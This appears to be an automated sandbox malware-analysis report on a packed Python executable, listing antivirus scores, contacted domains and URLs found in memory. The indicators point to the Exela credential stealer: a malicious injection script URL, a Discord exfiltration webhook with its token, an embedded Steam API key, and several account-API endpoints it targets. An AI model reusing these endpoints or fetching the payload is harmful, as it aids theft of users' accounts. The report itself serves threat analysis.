            C:\Users\user\AppData\Local\Temp\_MEI67202\_lzma.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_lzma.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_multiprocessing.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_multiprocessing.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_overlapped.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_overlapped.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_queue.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_queue.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_socket.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_socket.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_sqlite3.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_sqlite3.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_ssl.pyd1%VirustotalBrowse
            C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pyd0%ReversingLabs
            C:\Users\user\AppData\Local\Temp\_MEI67202\_uuid.pyd1%VirustotalBrowse

            Unpacked PE Files

            ⊘No Antivirus matches

            Domains

            SourceDetectionScannerLabelLink
            discord.com0%VirustotalBrowse

            URLs

            SourceDetectionScannerLabelLink
            http://www.cl.cam.ac.uk/~mgk25/iso-time.html0%URL Reputationsafe
            https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba0%Avira URL Cloudsafe
            https://tiktok.com/0%Avira URL Cloudsafe
            https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/FilePreviews.svg0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Tidelift.svg0%Avira URL Cloudsafe
            https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba0%VirustotalBrowse
            https://raw.githubusercontent.com/justforExela/injection/main/injection.js100%Avira URL Cloudmalware
            https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap0%VirustotalBrowse
            https://tiktok.com/0%VirustotalBrowse
            https://discord.com/api/v8/users/0%Avira URL Cloudsafe
            http://crl.ver)0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg1%VirustotalBrowse
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Sentry.svg0%Avira URL Cloudsafe
            https://discord.com/api/v8/users/0%VirustotalBrowse
            https://filepreviews.io/0%Avira URL Cloudsafe
            https://discord.com/api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T--0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/FilePreviews.svg1%VirustotalBrowse
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Sentry.svg1%VirustotalBrowse
            https://mahler:8092/site-updates.py0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Tidelift.svg1%VirustotalBrowse
            https://filepreviews.io/0%VirustotalBrowse
            http://crl4.digice0%Avira URL Cloudsafe
            https://raw.githubusercontent.com/justforExela/injection/main/injection.js1%VirustotalBrowse

            Domains and IPs

            Contacted Domains

            NameIPActiveMaliciousAntivirus DetectionReputation
            store4.gofile.io
            		31.14.70.245
            		truefalse
              		high
              discord.com
              		162.159.128.233
              		truefalseunknown
              ip-api.com
              		208.95.112.1
              		truefalse
                		high
                api.gofile.io
                		51.38.43.18
                		truefalse
                  		high

                  Contacted URLs

                  NameMaliciousAntivirus DetectionReputation
                  https://discord.com/api/webhooks/1190831584878809150/43baozn0FAVEYDo8eF-XivB5Q0JQGjw6pMMgTYce34wCzvDF3gAtdM_zDzFY9WMg2T--false
                  • Avira URL Cloud: safe
                  		unknown
                  http://ip-api.com/jsonfalse
                    		high

                    URLs from Memory and Binaries

                    NameSourceMaliciousAntivirus DetectionReputation
                    https://www.attrs.org/en/stable/why.html#data-classes).9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                      		high
                      https://account.riotgames.com/api/account/v1/user9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                        		high
                        https://accounts.reddit.com/api/access_token9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                          		high
                          https://api.steampowered.com/ISteamUser/GetPlayerSummaries/v0002/?key=440D7F4D810EF9298D25EDDF37C1F99afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                            		high
                            https://github.com/python-attrs/attrs/issues/2519afaXJv52z.exe, 00000002.00000003.1549123706.0000020DADF16000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADEF6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1571242400.0000020DADF18000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADEF6000.00000004.00000020.00020000.00000000.sdmpfalse
                              		high
                              https://github.com/python-attrs/attrs/issues/1085)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                		high
                                https://tiktok.com/9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpfalse
                                • 0%, Virustotal, Browse
                                • Avira URL Cloud: safe
                                		unknown
                                https://media.discordapp.net/attachments/1145679170127532095/1145756091553173696/3-min-5.jpg9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                  		high
                                  https://github.com/aio-libs/aiohttp/discussions/60449afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpfalse
                                    		high
                                    https://github.com/tensorflow/datasets/blob/master/tensorflow_datasets/core/utils/resource_utils.py#9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                      		high
                                      https://github.com/sponsors/hynekMETADATA.0.drfalse
                                        		high
                                        https://gofile.io/d/VnJMg5)9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpfalse
                                          		high
                                          https://github.com/pyca/cryptography/actions?query=workflow%3ACI9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drfalse
                                            		high
                                            https://oauth.reddit.com/api/v1/me9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              https://www.apache.org/licenses/LICENSE-2.09afaXJv52z.exe, 00000000.00000003.1247580506.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1247653162.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1247533508.00000170C08F3000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://docs.python.org/3.11/library/binascii.html#binascii.a2b_base649afaXJv52z.exe, 00000002.00000003.1549904859.0000020DAD92B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DAD8B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549821357.0000020DAD924000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1561481044.0000020DAD994000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550963678.0000020DAD991000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://raw.githubusercontent.com/python-attrs/attrs/main/docs/_static/attrs_logo.svg9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                  • 1%, Virustotal, Browse
                                                  • Avira URL Cloud: safe
                                                  		unknown
                                                  https://github.com/python-attrs/attrs)9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                    		high
                                                    https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/FilePreviews.svg9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                    • 1%, Virustotal, Browse
                                                    • Avira URL Cloud: safe
                                                    		unknown
                                                    https://www.attrs.org/)9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                      		high
                                                      https://twitter.com9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                        		high
                                                        https://twitter.com/home9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                          		high
                                                          https://github.com/python-attrs/attrs/issues/1090)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                            		high
                                                            https://github.com/python-attrs/attrs/issues/1369afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADE66000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1555260305.0000020DADE73000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1571019109.0000020DADE86000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1558309573.0000020DADE85000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              		high
                                                              https://www.tiktok.com/passport/web/account/info/?aid=1459&app_language=de-DE&app_name=tiktok_web&ba9afaXJv52z.exe, 00000002.00000003.1543162548.0000020DAE862000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548074284.0000020DADE73000.00000004.00000020.00020000.00000000.sdmpfalse
                                                              • 0%, Virustotal, Browse
                                                              • Avira URL Cloud: safe
                                                              		unknown
                                                              https://i.hizliresim.com/8po0puy.jfif9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                		high
                                                                https://peps.python.org/pep-0205/9afaXJv52z.exe, 00000002.00000002.1568871055.0000020DAD770000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                  		high
                                                                  https://webcast.tiktok.com/webcast/wallet_api/diamond_buy/permission/?aid=1988&app_language=de-DE&ap9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                  • 0%, Virustotal, Browse
                                                                  • Avira URL Cloud: safe
                                                                  		unknown
                                                                  https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                    		high
                                                                    http://json.org9afaXJv52z.exe, 00000002.00000003.1549987255.0000020DAD9A5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                      		high
                                                                      https://zopeinterface.readthedocs.io/en/latest/9afaXJv52z.exe, 00000002.00000003.1557790883.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1549460513.0000020DAD9CF000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1271340461.0000020DAD8B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1569893970.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1548937201.0000020DAD8EA000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551014490.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1551721234.0000020DAD9D0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                        		high
                                                                        https://github.com/python/cpython/blob/3.9/Lib/importlib/_bootstrap_external.py#L679-L6889afaXJv52z.exe, 00000002.00000002.1565167633.0000020DAD2B8000.00000004.00001000.00020000.00000000.sdmpfalse
                                                                          		high
                                                                          https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Tidelift.svg9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                          • 1%, Virustotal, Browse
                                                                          • Avira URL Cloud: safe
                                                                          		unknown
                                                                          https://github.com/python-attrs/attrs/issues/1079)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                            		high
                                                                            https://raw.githubusercontent.com/justforExela/injection/main/injection.js9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                            • 1%, Virustotal, Browse
                                                                            • Avira URL Cloud: malware
                                                                            		unknown
                                                                            https://github.com/python/cpython/blob/839d7893943782ee803536a47f1d4de160314f85/Lib/importlib/reader9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              		high
                                                                              https://discord.com/api/v8/users/9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                              • 0%, Virustotal, Browse
                                                                              • Avira URL Cloud: safe
                                                                              		unknown
                                                                              https://i.hizliresim.com/qxnzimj.jpg9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                		high
                                                                                https://www.apache.org/licenses/9afaXJv52z.exe, 00000000.00000003.1247580506.00000170C08E5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                  		high
                                                                                  https://www.attrs.org/en/latest/names.html)9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                    		high
                                                                                    https://www.twitch.tv/9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://crl.ver)svchost.exe, 0000003D.00000002.2504316046.000001B6AE200000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		low
                                                                                      https://github.com/microsoft/pyright/)).9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                        		high
                                                                                        https://raw.githubusercontent.com/python-attrs/attrs/main/.github/sponsors/Sentry.svg9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                        • 1%, Virustotal, Browse
                                                                                        • Avira URL Cloud: safe
                                                                                        		unknown
                                                                                        https://github.com/pyca/cryptography/workflows/CI/badge.svg?branch=main9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drfalse
                                                                                          		high
                                                                                          https://open.spotify.com/user/9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://www.cl.cam.ac.uk/~mgk25/iso-time.html9afaXJv52z.exe, 00000002.00000003.1261155792.0000020DADA11000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1261203092.0000020DAD8AD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • URL Reputation: safe
                                                                                            		unknown
                                                                                            https://api.steampowered.com/IPlayerService/GetOwnedGames/v1/?key=440D7F4D810EF9298D25EDDF37C1F902&s9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              		high
                                                                                              https://filepreviews.io/9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                              • 0%, Virustotal, Browse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br9afaXJv52z.exe, 00000002.00000003.1362518016.0000020DB081F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                https://cryptography.io/en/latest/installation/9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drfalse
                                                                                                  		high
                                                                                                  https://github.com/Unidata/MetPy/blob/a3424de66a44bf3a92b0dcacf4dff82ad7b86712/src/metpy/plots/wx_sy9afaXJv52z.exe, 00000002.00000003.1559277843.0000020DAB99B000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000002.1565010264.0000020DAB9B8000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258719819.0000020DAB9BB000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1552282326.0000020DAB99A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1257221376.0000020DAD671000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1560322724.0000020DAB9B7000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1550721004.0000020DAB98A000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1258920487.0000020DAB9A2000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    https://peps.python.org/pep-0681/)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                                      		high
                                                                                                      https://g.live.com/odclientsettings/Prod1C:edb.log.61.drfalse
                                                                                                        		high
                                                                                                        https://t.me/ExelaStealer-------p9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE27000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://tidelift.com/subscription/pkg/pypi-attrs?utm_source=pypi-attrs&utm_medium=referral&utm_campaMETADATA.0.drfalse
                                                                                                            		high
                                                                                                            https://github.com/python-attrs/attrs/issues/1068)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                                              		high
                                                                                                              https://github.com/python-attrs/attrs/issues/1084)9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246273602.00000170C08F3000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                                                		high
                                                                                                                https://www.attrs.org/en/stable/changelog.html9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                                                  		high
                                                                                                                  https://cryptography.io/en/latest/security/9afaXJv52z.exe, 00000000.00000003.1247744943.00000170C08E8000.00000004.00000020.00020000.00000000.sdmp, METADATA0.0.drfalse
                                                                                                                    		high
                                                                                                                    https://thumbnails.roblox.com/v1/users/avatar?userIds=9afaXJv52z.exe, 00000002.00000003.1534496021.0000020DAFE8D000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538000317.0000020DAFE8E000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1538128660.0000020DAFC62000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      https://www.variomedia.de/9afaXJv52z.exe, 00000000.00000003.1246202289.00000170C08E5000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000000.00000003.1246151956.00000170C08EC000.00000004.00000020.00020000.00000000.sdmp, METADATA.0.drfalse
                                                                                                                        		high
                                                                                                                        https://bugs.python.org/issue371799afaXJv52z.exe, 00000002.00000002.1571769421.0000020DADFC9000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543495098.0000020DADFC6000.00000004.00000020.00020000.00000000.sdmp, 9afaXJv52z.exe, 00000002.00000003.1543296024.0000020DADF4C000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
